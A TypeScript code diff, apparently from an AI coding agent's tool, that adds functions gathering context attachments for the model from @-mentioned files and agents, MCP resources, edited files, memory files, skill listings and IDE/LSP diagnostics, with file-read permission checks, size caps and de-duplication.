+  const appState = toolUseContext.getAppState()
+  if (isFileReadDenied(ideSelection.filePath, appState.toolPermissionContext)) {
+    return []
+  }
+
+  // Get nested memory files
+  const nestedMemoryAttachments = await getNestedMemoryAttachmentsForFile(
+    ideSelection.filePath,
+    toolUseContext,
+    appState,
+  )
+
+  // Return nested memory attachments followed by the opened file attachment
+  return [
+    ...nestedMemoryAttachments,
+    {
+      type: 'opened_file_in_ide',
+      filename: ideSelection.filePath,
+    },
+  ]
+}
+
+async function processAtMentionedFiles(
+  input: string,
+  toolUseContext: ToolUseContext,
+): Promise<Attachment[]> {
+  const files = extractAtMentionedFiles(input)
+  if (files.length === 0) return []
+
+  const appState = toolUseContext.getAppState()
+  const results = await Promise.all(
+    files.map(async file => {
+      try {
+        const { filename, lineStart, lineEnd } = parseAtMentionedFileLines(file)
+        const absoluteFilename = expandPath(filename)
+
+        if (
+          isFileReadDenied(absoluteFilename, appState.toolPermissionContext)
+        ) {
+          return null
+        }
+
+        // Check if it's a directory
+        try {
+          const stats = await stat(absoluteFilename)
+          if (stats.isDirectory()) {
+            try {
+              const entries = await readdir(absoluteFilename, {
+                withFileTypes: true,
+              })
+              const MAX_DIR_ENTRIES = 1000
+              const truncated = entries.length > MAX_DIR_ENTRIES
+              const names = entries.slice(0, MAX_DIR_ENTRIES).map(e => e.name)
+              if (truncated) {
+                names.push(
+                  `\u2026 and ${entries.length - MAX_DIR_ENTRIES} more entries`,
+                )
+              }
+              const stdout = names.join('\n')
+              logEvent('tengu_at_mention_extracting_directory_success', {})
+
+              return {
+                type: 'directory' as const,
+                path: absoluteFilename,
+                content: stdout,
+                displayPath: relative(getCwd(), absoluteFilename),
+              }
+            } catch {
+              return null
+            }
+          }
+        } catch {
+          // If stat fails, continue with file logic
+        }
+
+        return await generateFileAttachment(
+          absoluteFilename,
+          toolUseContext,
+          'tengu_at_mention_extracting_filename_success',
+          'tengu_at_mention_extracting_filename_error',
+          'at-mention',
+          {
+            offset: lineStart,
+            limit: lineEnd && lineStart ? lineEnd - lineStart + 1 : undefined,
+          },
+        )
+      } catch {
+        logEvent('tengu_at_mention_extracting_filename_error', {})
+      }
+    }),
+  )
+  return results.filter(Boolean) as Attachment[]
+}
+
+function processAgentMentions(
+  input: string,
+  agents: AgentDefinition[],
+): Attachment[] {
+  const agentMentions = extractAgentMentions(input)
+  if (agentMentions.length === 0) return []
+
+  const results = agentMentions.map(mention => {
+    const agentType = mention.replace('agent-', '')
+    const agentDef = agents.find(def => def.agentType === agentType)
+
+    if (!agentDef) {
+      logEvent('tengu_at_mention_agent_not_found', {})
+      return null
+    }
+
+    logEvent('tengu_at_mention_agent_success', {})
+
+    return {
+      type: 'agent_mention' as const,
+      agentType: agentDef.agentType,
+    }
+  })
+
+  return results.filter(
+    (result): result is NonNullable<typeof result> => result !== null,
+  )
+}
+
+async function processMcpResourceAttachments(
+  input: string,
+  toolUseContext: ToolUseContext,
+): Promise<Attachment[]> {
+  const resourceMentions = extractMcpResourceMentions(input)
+  if (resourceMentions.length === 0) return []
+
+  const mcpClients = toolUseContext.options.mcpClients || []
+
+  const results = await Promise.all(
+    resourceMentions.map(async mention => {
+      try {
+        const [serverName, ...uriParts] = mention.split(':')
+        const uri = uriParts.join(':') // Rejoin in case URI contains colons
+
+        if (!serverName || !uri) {
+          logEvent('tengu_at_mention_mcp_resource_error', {})
+          return null
+        }
+
+        // Find the MCP client
+        const client = mcpClients.find(c => c.name === serverName)
+        if (!client || client.type !== 'connected') {
+          logEvent('tengu_at_mention_mcp_resource_error', {})
+          return null
+        }
+
+        // Find the resource in available resources to get its metadata
+        const serverResources =
+          toolUseContext.options.mcpResources?.[serverName] || []
+        const resourceInfo = serverResources.find(r => r.uri === uri)
+        if (!resourceInfo) {
+          logEvent('tengu_at_mention_mcp_resource_error', {})
+          return null
+        }
+
+        try {
+          const result = await client.client.readResource({
+            uri,
+          })
+
+          logEvent('tengu_at_mention_mcp_resource_success', {})
+
+          return {
+            type: 'mcp_resource' as const,
+            server: serverName,
+            uri,
+            name: resourceInfo.name || uri,
+            description: resourceInfo.description,
+            content: result,
+          }
+        } catch (error) {
+          logEvent('tengu_at_mention_mcp_resource_error', {})
+          logError(error)
+          return null
+        }
+      } catch {
+        logEvent('tengu_at_mention_mcp_resource_error', {})
+        return null
+      }
+    }),
+  )
+
+  return results.filter(
+    (result): result is NonNullable<typeof result> => result !== null,
+  ) as Attachment[]
+}
+
+export async function getChangedFiles(
+  toolUseContext: ToolUseContext,
+): Promise<Attachment[]> {
+  const filePaths = cacheKeys(toolUseContext.readFileState)
+  if (filePaths.length === 0) return []
+
+  const appState = toolUseContext.getAppState()
+  const results = await Promise.all(
+    filePaths.map(async filePath => {
+      const fileState = toolUseContext.readFileState.get(filePath)
+      if (!fileState) return null
+
+      // TODO: Implement offset/limit support for changed files
+      if (fileState.offset !== undefined || fileState.limit !== undefined) {
+        return null
+      }
+
+      const normalizedPath = expandPath(filePath)
+
+      // Check if file has a deny rule configured
+      if (isFileReadDenied(normalizedPath, appState.toolPermissionContext)) {
+        return null
+      }
+
+      try {
+        const mtime = await getFileModificationTimeAsync(normalizedPath)
+        if (mtime <= fileState.timestamp) {
+          return null
+        }
+
+        const fileInput = { file_path: normalizedPath }
+
+        // Validate file path is valid
+        const isValid = await FileReadTool.validateInput(
+          fileInput,
+          toolUseContext,
+        )
+        if (!isValid.result) {
+          return null
+        }
+
+        const result = await FileReadTool.call(fileInput, toolUseContext)
+        // Extract only the changed section
+        if (result.data.type === 'text') {
+          const snippet = getSnippetForTwoFileDiff(
+            fileState.content,
+            result.data.file.content,
+          )
+
+          // File was touched but not modified
+          if (snippet === '') {
+            return null
+          }
+
+          return {
+            type: 'edited_text_file' as const,
+            filename: normalizedPath,
+            snippet,
+          }
+        }
+
+        // For non-text files (images), apply the same token limit logic as FileReadTool
+        if (result.data.type === 'image') {
+          try {
+            const data = await readImageWithTokenBudget(normalizedPath)
+            return {
+              type: 'edited_image_file' as const,
+              filename: normalizedPath,
+              content: data,
+            }
+          } catch (compressionError) {
+            logError(compressionError)
+            logEvent('tengu_watched_file_compression_failed', {
+              file: normalizedPath,
+            } as AnalyticsMetadata_I_VERIFIED_THIS_IS_NOT_CODE_OR_FILEPATHS)
+            return null
+          }
+        }
+
+        // notebook / pdf / parts — no diff representation; explicitly
+        // null so the map callback has no implicit-undefined path.
+        return null
+      } catch (err) {
+        // Evict ONLY on ENOENT (file truly deleted). Transient stat
+        // failures — atomic-save races (editor writes tmp→rename and
+        // stat hits the gap), EACCES churn, network-FS hiccups — must
+        // NOT evict, or the next Edit fails code-6 even though the
+        // file still exists and the model just read it. VS Code
+        // auto-save/format-on-save hits this race especially often.
+        // See regression analysis on PR #18525.
+        if (isENOENT(err)) {
+          toolUseContext.readFileState.delete(filePath)
+        }
+        return null
+      }
+    }),
+  )
+  return results.filter(result => result != null) as Attachment[]
+}
+
+/**
+ * Processes paths that need nested memory attachments and checks for nested CLAUDE.md files
+ * Uses nestedMemoryAttachmentTriggers field from ToolUseContext
+ */
+async function getNestedMemoryAttachments(
+  toolUseContext: ToolUseContext,
+): Promise<Attachment[]> {
+  // Check triggers first — getAppState() waits for a React render cycle,
+  // and the common case is an empty trigger set.
+  if (
+    !toolUseContext.nestedMemoryAttachmentTriggers ||
+    toolUseContext.nestedMemoryAttachmentTriggers.size === 0
+  ) {
+    return []
+  }
+
+  const appState = toolUseContext.getAppState()
+  const attachments: Attachment[] = []
+
+  for (const filePath of toolUseContext.nestedMemoryAttachmentTriggers) {
+    const nestedAttachments = await getNestedMemoryAttachmentsForFile(
+      filePath,
+      toolUseContext,
+      appState,
+    )
+    attachments.push(...nestedAttachments)
+  }
+
+  toolUseContext.nestedMemoryAttachmentTriggers.clear()
+
+  return attachments
+}
+
+async function getRelevantMemoryAttachments(
+  input: string,
+  agents: AgentDefinition[],
+  readFileState: FileStateCache,
+  recentTools: readonly string[],
+  signal: AbortSignal,
+  alreadySurfaced: ReadonlySet<string>,
+): Promise<Attachment[]> {
+  // If an agent is @-mentioned, search only its memory dir (isolation).
+  // Otherwise search the auto-memory dir.
+  const memoryDirs = extractAgentMentions(input).flatMap(mention => {
+    const agentType = mention.replace('agent-', '')
+    const agentDef = agents.find(def => def.agentType === agentType)
+    return agentDef?.memory
+      ? [getAgentMemoryDir(agentType, agentDef.memory)]
+      : []
+  })
+  const dirs = memoryDirs.length > 0 ? memoryDirs : [getAutoMemPath()]
+
+  const allResults = await Promise.all(
+    dirs.map(dir =>
+      findRelevantMemories(
+        input,
+        dir,
+        signal,
+        recentTools,
+        alreadySurfaced,
+      ).catch(() => []),
+    ),
+  )
+  // alreadySurfaced is filtered inside the selector so Sonnet spends its
+  // 5-slot budget on fresh candidates; readFileState catches files the
+  // model read via FileReadTool. The redundant alreadySurfaced check here
+  // is a belt-and-suspenders guard (multi-dir results may re-introduce a
+  // path the selector filtered in a different dir).
+  const selected = allResults
+    .flat()
+    .filter(m => !readFileState.has(m.path) && !alreadySurfaced.has(m.path))
+    .slice(0, 5)
+
+  const memories = await readMemoriesForSurfacing(selected, signal)
+
+  if (memories.length === 0) {
+    return []
+  }
+  return [{ type: 'relevant_memories' as const, memories }]
+}
+
+/**
+ * Scan messages for past relevant_memories attachments.  Returns both the
+ * set of surfaced paths (for selector de-dup) and cumulative byte count
+ * (for session-total throttle).  Scanning messages rather than tracking
+ * in toolUseContext means compact naturally resets both — old attachments
+ * are gone from the compacted transcript, so re-surfacing is valid again.
+ */
+export function collectSurfacedMemories(messages: ReadonlyArray<Message>): {
+  paths: Set<string>
+  totalBytes: number
+} {
+  const paths = new Set<string>()
+  let totalBytes = 0
+  for (const m of messages) {
+    if (m.type === 'attachment' && m.attachment.type === 'relevant_memories') {
+      for (const mem of m.attachment.memories) {
+        paths.add(mem.path)
+        totalBytes += mem.content.length
+      }
+    }
+  }
+  return { paths, totalBytes }
+}
+
+/**
+ * Reads a set of relevance-ranked memory files for injection as
+ * <system-reminder> attachments. Enforces both MAX_MEMORY_LINES and
+ * MAX_MEMORY_BYTES via readFileInRange's truncateOnByteLimit option.
+ * Truncation surfaces partial
+ * content with a note rather than dropping the file — findRelevantMemories
+ * already picked this as most-relevant, so the frontmatter + opening context
+ * is worth surfacing even if later lines are cut.
+ *
+ * Exported for direct testing without mocking the ranker + GB gates.
+ */
+export async function readMemoriesForSurfacing(
+  selected: ReadonlyArray<{ path: string; mtimeMs: number }>,
+  signal?: AbortSignal,
+): Promise<
+  Array<{
+    path: string
+    content: string
+    mtimeMs: number
+    header: string
+    limit?: number
+  }>
+> {
+  const results = await Promise.all(
+    selected.map(async ({ path: filePath, mtimeMs }) => {
+      try {
+        const result = await readFileInRange(
+          filePath,
+          0,
+          MAX_MEMORY_LINES,
+          MAX_MEMORY_BYTES,
+          signal,
+          { truncateOnByteLimit: true },
+        )
+        const truncated =
+          result.totalLines > MAX_MEMORY_LINES || result.truncatedByBytes
+        const content = truncated
+          ? result.content +
+            `\n\n> This memory file was truncated (${result.truncatedByBytes ? `${MAX_MEMORY_BYTES} byte limit` : `first ${MAX_MEMORY_LINES} lines`}). Use the ${FILE_READ_TOOL_NAME} tool to view the complete file at: ${filePath}`
+          : result.content
+        return {
+          path: filePath,
+          content,
+          mtimeMs,
+          header: memoryHeader(filePath, mtimeMs),
+          limit: truncated ? result.lineCount : undefined,
+        }
+      } catch {
+        return null
+      }
+    }),
+  )
+  return results.filter(r => r !== null)
+}
+
+/**
+ * Header string for a relevant-memory block.  Exported so messages.ts
+ * can fall back for resumed sessions where the stored header is missing.
+ */
+export function memoryHeader(path: string, mtimeMs: number): string {
+  const staleness = memoryFreshnessText(mtimeMs)
+  return staleness
+    ? `${staleness}\n\nMemory: ${path}:`
+    : `Memory (saved ${memoryAge(mtimeMs)}): ${path}:`
+}
+
+/**
+ * A memory relevance-selector prefetch handle. The promise is started once
+ * per user turn and runs while the main model streams and tools execute.
+ * At the collect point (post-tools), the caller reads settledAt to
+ * consume-if-ready or skip-and-retry-next-iteration — the prefetch never
+ * blocks the turn.
+ *
+ * Disposable: query.ts binds with `using`, so [Symbol.dispose] fires on all
+ * generator exit paths (return, throw, .return() closure) — aborting the
+ * in-flight request and emitting terminal telemetry without instrumenting
+ * each of the ~13 return sites inside the while loop.
+ */
+export type MemoryPrefetch = {
+  promise: Promise<Attachment[]>
+  /** Set by promise.finally(). null until the promise settles. */
+  settledAt: number | null
+  /** Set by the collect point in query.ts. -1 until consumed. */
+  consumedOnIteration: number
+  [Symbol.dispose](): void
+}
+
+/**
+ * Starts the relevant memory search as an async prefetch.
+ * Extracts the last real user prompt from messages (skipping isMeta system
+ * injections) and kicks off a non-blocking search. Returns a Disposable
+ * handle with settlement tracking. Bound with `using` in query.ts.
+ */
+export function startRelevantMemoryPrefetch(
+  messages: ReadonlyArray<Message>,
+  toolUseContext: ToolUseContext,
+): MemoryPrefetch | undefined {
+  if (
+    !isAutoMemoryEnabled() ||
+    !getFeatureValue_CACHED_MAY_BE_STALE('tengu_moth_copse', false)
+  ) {
+    return undefined
+  }
+
+  const lastUserMessage = messages.findLast(m => m.type === 'user' && !m.isMeta)
+  if (!lastUserMessage) {
+    return undefined
+  }
+
+  const input = getUserMessageText(lastUserMessage)
+  // Single-word prompts lack enough context for meaningful term extraction
+  if (!input || !/\s/.test(input.trim())) {
+    return undefined
+  }
+
+  const surfaced = collectSurfacedMemories(messages)
+  if (surfaced.totalBytes >= RELEVANT_MEMORIES_CONFIG.MAX_SESSION_BYTES) {
+    return undefined
+  }
+
+  // Chained to the turn-level abort so user Escape cancels the sideQuery
+  // immediately, not just on [Symbol.dispose] when queryLoop exits.
+  const controller = createChildAbortController(toolUseContext.abortController)
+  const firedAt = Date.now()
+  const promise = getRelevantMemoryAttachments(
+    input,
+    toolUseContext.options.agentDefinitions.activeAgents,
+    toolUseContext.readFileState,
+    collectRecentSuccessfulTools(messages, lastUserMessage),
+    controller.signal,
+    surfaced.paths,
+  ).catch(e => {
+    if (!isAbortError(e)) {
+      logError(e)
+    }
+    return []
+  })
+
+  const handle: MemoryPrefetch = {
+    promise,
+    settledAt: null,
+    consumedOnIteration: -1,
+    [Symbol.dispose]() {
+      controller.abort()
+      logEvent('tengu_memdir_prefetch_collected', {
+        hidden_by_first_iteration:
+          handle.settledAt !== null && handle.consumedOnIteration === 0,
+        consumed_on_iteration: handle.consumedOnIteration,
+        latency_ms: (handle.settledAt ?? Date.now()) - firedAt,
+      })
+    },
+  }
+  void promise.finally(() => {
+    handle.settledAt = Date.now()
+  })
+  return handle
+}
+
+type ToolResultBlock = {
+  type: 'tool_result'
+  tool_use_id: string
+  is_error?: boolean
+}
+
+function isToolResultBlock(b: unknown): b is ToolResultBlock {
+  return (
+    typeof b === 'object' &&
+    b !== null &&
+    (b as ToolResultBlock).type === 'tool_result' &&
+    typeof (b as ToolResultBlock).tool_use_id === 'string'
+  )
+}
+
+/**
+ * Check whether a user message's content contains tool_result blocks.
+ * This is more reliable than checking `toolUseResult === undefined` because
+ * sub-agent tool result messages explicitly set `toolUseResult` to `undefined`
+ * when `preserveToolUseResults` is false (the default for Explore agents).
+ */
+function hasToolResultContent(content: unknown): boolean {
+  return Array.isArray(content) && content.some(isToolResultBlock)
+}
+
+/**
+ * Tools that succeeded (and never errored) since the previous real turn
+ * boundary.  The memory selector uses this to suppress docs about tools
+ * that are working — surfacing reference material for a tool the model
+ * is already calling successfully is noise.
+ *
+ * Any error → tool excluded (model is struggling, docs stay available).
+ * No result yet → also excluded (outcome unknown).
+ *
+ * tool_use lives in assistant content; tool_result in user content
+ * (toolUseResult set, isMeta undefined).  Both are within the scan window.
+ * Backward scan sees results before uses so we collect both by id and
+ * resolve after.
+ */
+export function collectRecentSuccessfulTools(
+  messages: ReadonlyArray<Message>,
+  lastUserMessage: Message,
+): readonly string[] {
+  const useIdToName = new Map<string, string>()
+  const resultByUseId = new Map<string, boolean>()
+  for (let i = messages.length - 1; i >= 0; i--) {
+    const m = messages[i]
+    if (!m) continue
+    if (isHumanTurn(m) && m !== lastUserMessage) break
+    if (m.type === 'assistant' && typeof m.message.content !== 'string') {
+      for (const block of m.message.content) {
+        if (block.type === 'tool_use') useIdToName.set(block.id, block.name)
+      }
+    } else if (
+      m.type === 'user' &&
+      'message' in m &&
+      Array.isArray(m.message.content)
+    ) {
+      for (const block of m.message.content) {
+        if (isToolResultBlock(block)) {
+          resultByUseId.set(block.tool_use_id, block.is_error === true)
+        }
+      }
+    }
+  }
+  const failed = new Set<string>()
+  const succeeded = new Set<string>()
+  for (const [id, name] of useIdToName) {
+    const errored = resultByUseId.get(id)
+    if (errored === undefined) continue
+    if (errored) {
+      failed.add(name)
+    } else {
+      succeeded.add(name)
+    }
+  }
+  return [...succeeded].filter(t => !failed.has(t))
+}
+
+
+/**
+ * Filters prefetched memory attachments to exclude memories the model already
+ * has in context via FileRead/Write/Edit tool calls (any iteration this turn)
+ * or a previous turn's memory surfacing — both tracked in the cumulative
+ * readFileState. Survivors are then marked in readFileState so subsequent
+ * turns won't re-surface them.
+ *
+ * The mark-after-filter ordering is load-bearing: readMemoriesForSurfacing
+ * used to write to readFileState during the prefetch, which meant the filter
+ * saw every prefetch-selected path as "already in context" and dropped them
+ * all (self-referential filter). Deferring the write to here, after the
+ * filter runs, breaks that cycle while still deduping against tool calls
+ * from any iteration.
+ */
+export function filterDuplicateMemoryAttachments(
+  attachments: Attachment[],
+  readFileState: FileStateCache,
+): Attachment[] {
+  return attachments
+    .map(attachment => {
+      if (attachment.type !== 'relevant_memories') return attachment
+      const filtered = attachment.memories.filter(
+        m => !readFileState.has(m.path),
+      )
+      for (const m of filtered) {
+        readFileState.set(m.path, {
+          content: m.content,
+          timestamp: m.mtimeMs,
+          offset: undefined,
+          limit: m.limit,
+        })
+      }
+      return filtered.length > 0 ? { ...attachment, memories: filtered } : null
+    })
+    .filter((a): a is Attachment => a !== null)
+}
+
+/**
+ * Processes skill directories that were discovered during file operations.
+ * Uses dynamicSkillDirTriggers field from ToolUseContext
+ */
+async function getDynamicSkillAttachments(
+  toolUseContext: ToolUseContext,
+): Promise<Attachment[]> {
+  const attachments: Attachment[] = []
+
+  if (
+    toolUseContext.dynamicSkillDirTriggers &&
+    toolUseContext.dynamicSkillDirTriggers.size > 0
+  ) {
+    // Parallelize: readdir all skill dirs concurrently
+    const perDirResults = await Promise.all(
+      Array.from(toolUseContext.dynamicSkillDirTriggers).map(async skillDir => {
+        try {
+          const entries = await readdir(skillDir, { withFileTypes: true })
+          const candidates = entries
+            .filter(e => e.isDirectory() || e.isSymbolicLink())
+            .map(e => e.name)
+          // Parallelize: stat all SKILL.md candidates concurrently
+          const checked = await Promise.all(
+            candidates.map(async name => {
+              try {
+                await stat(resolve(skillDir, name, 'SKILL.md'))
+                return name
+              } catch {
+                return null // SKILL.md doesn't exist, skip this entry
+              }
+            }),
+          )
+          return {
+            skillDir,
+            skillNames: checked.filter((n): n is string => n !== null),
+          }
+        } catch {
+          // Ignore errors reading skill directories (e.g., directory doesn't exist)
+          return { skillDir, skillNames: [] }
+        }
+      }),
+    )
+
+    for (const { skillDir, skillNames } of perDirResults) {
+      if (skillNames.length > 0) {
+        attachments.push({
+          type: 'dynamic_skill',
+          skillDir,
+          skillNames,
+          displayPath: relative(getCwd(), skillDir),
+        })
+      }
+    }
+
+    toolUseContext.dynamicSkillDirTriggers.clear()
+  }
+
+  return attachments
+}
+
+// Track which skills have been sent to avoid re-sending. Keyed by agentId
+// (empty string = main thread) so subagents get their own turn-0 listing —
+// without per-agent scoping, the main thread populating this Set would cause
+// every subagent's filterToBundledAndMcp result to dedup to empty.
+const sentSkillNames = new Map<string, Set<string>>()
+
+// Called when the skill set genuinely changes (plugin reload, skill file
+// change on disk) so new skills get announced. NOT called on compact —
+// post-compact re-injection costs ~4K tokens/event for marginal benefit.
+export function resetSentSkillNames(): void {
+  sentSkillNames.clear()
+  suppressNext = false
+}
+
+/**
+ * Suppress the next skill-listing injection. Called by conversationRecovery
+ * on --resume when a skill_listing attachment already exists in the
+ * transcript.
+ *
+ * `sentSkillNames` is module-scope — process-local. Each `claude -p` spawn
+ * starts with an empty Map, so without this every resume re-injects the
+ * full ~600-token listing even though it's already in the conversation from
+ * the prior process. Shows up on every --resume; particularly loud for
+ * daemons that respawn frequently.
+ *
+ * Trade-off: skills added between sessions won't be announced until the
+ * next non-resume session. Acceptable — skill_listing was never meant to
+ * cover cross-process deltas, and the agent can still call them (they're
+ * in the Skill tool's runtime registry regardless).
+ */
+export function suppressNextSkillListing(): void {
+  suppressNext = true
+}
+let suppressNext = false
+
+// When skill-search is enabled and the filtered (bundled + MCP) listing exceeds
+// this count, fall back to bundled-only. Protects MCP-heavy users (100+ servers)
+// from truncation while keeping the turn-0 guarantee for typical setups.
+const FILTERED_LISTING_MAX = 30
+
+/**
+ * Filter skills to bundled (Anthropic-curated) + MCP (user-connected) only.
+ * Used when skill-search is enabled to resolve the turn-0 gap for subagents:
+ * these sources are small, intent-signaled, and won't hit the truncation budget.
+ * User/project/plugin skills (the long tail — 200+) go through discovery instead.
+ *
+ * Falls back to bundled-only if bundled+mcp exceeds FILTERED_LISTING_MAX.
+ */
+export function filterToBundledAndMcp(commands: Command[]): Command[] {
+  const filtered = commands.filter(
+    cmd => cmd.loadedFrom === 'bundled' || cmd.loadedFrom === 'mcp',
+  )
+  if (filtered.length > FILTERED_LISTING_MAX) {
+    return filtered.filter(cmd => cmd.loadedFrom === 'bundled')
+  }
+  return filtered
+}
+
+async function getSkillListingAttachments(
+  toolUseContext: ToolUseContext,
+): Promise<Attachment[]> {
+  if (process.env.NODE_ENV === 'test') {
+    return []
+  }
+
+  // Skip skill listing for agents that don't have the Skill tool — they can't use skills directly.
+  if (
+    !toolUseContext.options.tools.some(t => toolMatchesName(t, SKILL_TOOL_NAME))
+  ) {
+    return []
+  }
+
+  const cwd = getProjectRoot()
+  const localCommands = await getSkillToolCommands(cwd)
+  const mcpSkills = getMcpSkillCommands(
+    toolUseContext.getAppState().mcp.commands,
+  )
+  let allCommands =
+    mcpSkills.length > 0
+      ? uniqBy([...localCommands, ...mcpSkills], 'name')
+      : localCommands
+
+  // When skill search is active, filter to bundled + MCP instead of full
+  // suppression. Resolves the turn-0 gap: main thread gets turn-0 discovery
+  // via getTurnZeroSkillDiscovery (blocking), but subagents use the async
+  // subagent_spawn signal (collected post-tools, visible turn 1). Bundled +
+  // MCP are small and intent-signaled; user/project/plugin skills go through
+  // discovery. feature() first for DCE — the property-access string leaks
+  // otherwise even with ?. on null.
+  if (
+    feature('EXPERIMENTAL_SKILL_SEARCH') &&
+    skillSearchModules?.featureCheck.isSkillSearchEnabled()
+  ) {
+    allCommands = filterToBundledAndMcp(allCommands)
+  }
+
+  const agentKey = toolUseContext.agentId ?? ''
+  let sent = sentSkillNames.get(agentKey)
+  if (!sent) {
+    sent = new Set()
+    sentSkillNames.set(agentKey, sent)
+  }
+
+  // Resume path: prior process already injected a listing; it's in the
+  // transcript. Mark everything current as sent so only post-resume deltas
+  // (skills loaded later via /reload-plugins etc) get announced.
+  if (suppressNext) {
+    suppressNext = false
+    for (const cmd of allCommands) {
+      sent.add(cmd.name)
+    }
+    return []
+  }
+
+  // Find skills we haven't sent yet
+  const newSkills = allCommands.filter(cmd => !sent.has(cmd.name))
+
+  if (newSkills.length === 0) {
+    return []
+  }
+
+  // If no skills have been sent yet, this is the initial batch
+  const isInitial = sent.size === 0
+
+  // Mark as sent
+  for (const cmd of newSkills) {
+    sent.add(cmd.name)
+  }
+
+  logForDebugging(
+    `Sending ${newSkills.length} skills via attachment (${isInitial ? 'initial' : 'dynamic'}, ${sent.size} total sent)`,
+  )
+
+  // Format within budget using existing logic
+  const contextWindowTokens = getContextWindowForModel(
+    toolUseContext.options.mainLoopModel,
+    getSdkBetas(),
+  )
+  const content = formatCommandsWithinBudget(newSkills, contextWindowTokens)
+
+  return [
+    {
+      type: 'skill_listing',
+      content,
+      skillCount: newSkills.length,
+      isInitial,
+    },
+  ]
+}
+
+// getSkillDiscoveryAttachment moved to skillSearch/prefetch.ts as
+// getTurnZeroSkillDiscovery — keeps the 'skill_discovery' string literal inside
+// a feature-gated module so it doesn't leak into external builds.
+
+export function extractAtMentionedFiles(content: string): string[] {
+  // Extract filenames mentioned with @ symbol, including line range syntax: @file.txt#L10-20
+  // Also supports quoted paths for files with spaces: @"my/file with spaces.txt"
+  // Example: "foo bar @baz moo" would extract "baz"
+  // Example: 'check @"my file.txt" please' would extract "my file.txt"
+
+  // Two patterns: quoted paths and regular paths
+  const quotedAtMentionRegex = /(^|\s)@"([^"]+)"/g
+  const regularAtMentionRegex = /(^|\s)@([^\s]+)\b/g
+
+  const quotedMatches: string[] = []
+  const regularMatches: string[] = []
+
+  // Extract quoted mentions first (skip agent mentions like @"code-reviewer (agent)")
+  let match
+  while ((match = quotedAtMentionRegex.exec(content)) !== null) {
+    if (match[2] && !match[2].endsWith(' (agent)')) {
+      quotedMatches.push(match[2]) // The content inside quotes
+    }
+  }
+
+  // Extract regular mentions
+  const regularMatchArray = content.match(regularAtMentionRegex) || []
+  regularMatchArray.forEach(match => {
+    const filename = match.slice(match.indexOf('@') + 1)
+    // Don't include if it starts with a quote (already handled as quoted)
+    if (!filename.startsWith('"')) {
+      regularMatches.push(filename)
+    }
+  })
+
+  // Combine and deduplicate
+  return uniq([...quotedMatches, ...regularMatches])
+}
+
+export function extractMcpResourceMentions(content: string): string[] {
+  // Extract MCP resources mentioned with @ symbol in format @server:uri
+  // Example: "@server1:resource/path" would extract "server1:resource/path"
+  const atMentionRegex = /(^|\s)@([^\s]+:[^\s]+)\b/g
+  const matches = content.match(atMentionRegex) || []
+
+  // Remove the prefix (everything before @) from each match
+  return uniq(matches.map(match => match.slice(match.indexOf('@') + 1)))
+}
+
+export function extractAgentMentions(content: string): string[] {
+  // Extract agent mentions in two formats:
+  // 1. @agent-<agent-type> (legacy/manual typing)
+  //    Example: "@agent-code-elegance-refiner" → "agent-code-elegance-refiner"
+  // 2. @"<agent-type> (agent)" (from autocomplete selection)
+  //    Example: '@"code-reviewer (agent)"' → "code-reviewer"
+  // Supports colons, dots, and at-signs for plugin-scoped agents like "@agent-asana:project-status-updater"
+  const results: string[] = []
+
+  // Match quoted format: @"<type> (agent)"
+  const quotedAgentRegex = /(^|\s)@"([\w:.@-]+) \(agent\)"/g
+  let match
+  while ((match = quotedAgentRegex.exec(content)) !== null) {
+    if (match[2]) {
+      results.push(match[2])
+    }
+  }
+
+  // Match unquoted format: @agent-<type>
+  const unquotedAgentRegex = /(^|\s)@(agent-[\w:.@-]+)/g
+  const unquotedMatches = content.match(unquotedAgentRegex) || []
+  for (const m of unquotedMatches) {
+    results.push(m.slice(m.indexOf('@') + 1))
+  }
+
+  return uniq(results)
+}
+
+interface AtMentionedFileLines {
+  filename: string
+  lineStart?: number
+  lineEnd?: number
+}
+
+export function parseAtMentionedFileLines(
+  mention: string,
+): AtMentionedFileLines {
+  // Parse mentions like "file.txt#L10-20", "file.txt#heading", or just "file.txt"
+  // Supports line ranges (#L10, #L10-20) and strips non-line-range fragments (#heading)
+  const match = mention.match(/^([^#]+)(?:#L(\d+)(?:-(\d+))?)?(?:#[^#]*)?$/)
+
+  if (!match) {
+    return { filename: mention }
+  }
+
+  const [, filename, lineStartStr, lineEndStr] = match
+  const lineStart = lineStartStr ? parseInt(lineStartStr, 10) : undefined
+  const lineEnd = lineEndStr ? parseInt(lineEndStr, 10) : lineStart
+
+  return { filename: filename ?? mention, lineStart, lineEnd }
+}
+
+async function getDiagnosticAttachments(
+  toolUseContext: ToolUseContext,
+): Promise<Attachment[]> {
+  // Diagnostics are only useful if the agent has the Bash tool to act on them
+  if (
+    !toolUseContext.options.tools.some(t => toolMatchesName(t, BASH_TOOL_NAME))
+  ) {
+    return []
+  }
+
+  // Get new diagnostics from the tracker (IDE diagnostics via MCP)
+  const newDiagnostics = await diagnosticTracker.getNewDiagnostics()
+  if (newDiagnostics.length === 0) {
+    return []
+  }
+
+  return [
+    {
+      type: 'diagnostics',
+      files: newDiagnostics,
+      isNew: true,
+    },
+  ]
+}
+
+/**
+ * Get LSP diagnostic attachments from passive LSP servers.
+ * Follows the AsyncHookRegistry pattern for consistent async attachment delivery.
+ */
+async function getLSPDiagnosticAttachments(
+  toolUseContext: ToolUseContext,
+): Promise<Attachment[]> {
+  // LSP diagnostics are only useful if the agent has the Bash tool to act on them
+  if (
+    !toolUseContext.options.tools.some(t => toolMatchesName(t, BASH_TOOL_NAME))
+  ) {
+    return []
+  }
+
+  logForDebugging('LSP Diagnostics: getLSPDiagnosticAttachments called')
+
+  try {
+    const diagnosticSets = checkForLSPDiagnostics()
+
+    if (diagnosticSets.length === 0) {
+      return []
+    }
+
+    logForDebugging(
+      `LSP Diagnostics: Found ${diagnosticSets.length} pending diagnostic set(s)`,
+    )
+
+    // Convert each diagnostic set to an attachment
+    const attachments: Attachment[] = diagnosticSets.map(({ files }) => ({
+      type: 'diagnostics' as const,
+      files,
+      isNew: true,
+    }))
+
+    // Clear delivered diagnostics from registry to prevent memory leak
+    // Follows same pattern as removeDeliveredAsyncHooks
+    if (diagnosticSets.length > 0) {
+      clearAllLSPDiagnostics()
+      logForDebugging(
+        `LSP Diagnostics: Cleared ${diagnosticSets.length} delivered diagnostic(s) from registry`,
+      )
+    }
+
+    logForDebugging(
+      `LSP Diagnostics: Returning ${attachments.length} diagnostic attachment(s)`,
+    )
+
+    return attachments
+  } catch (error) {
+    const err = toError(error)
+    logError(
+      new Error(`Failed to get LSP diagnostic attachments: ${err.message}`),
+    )
+    // Return empty array to allow other attachments to proceed
+    return []
+  }
+}
+
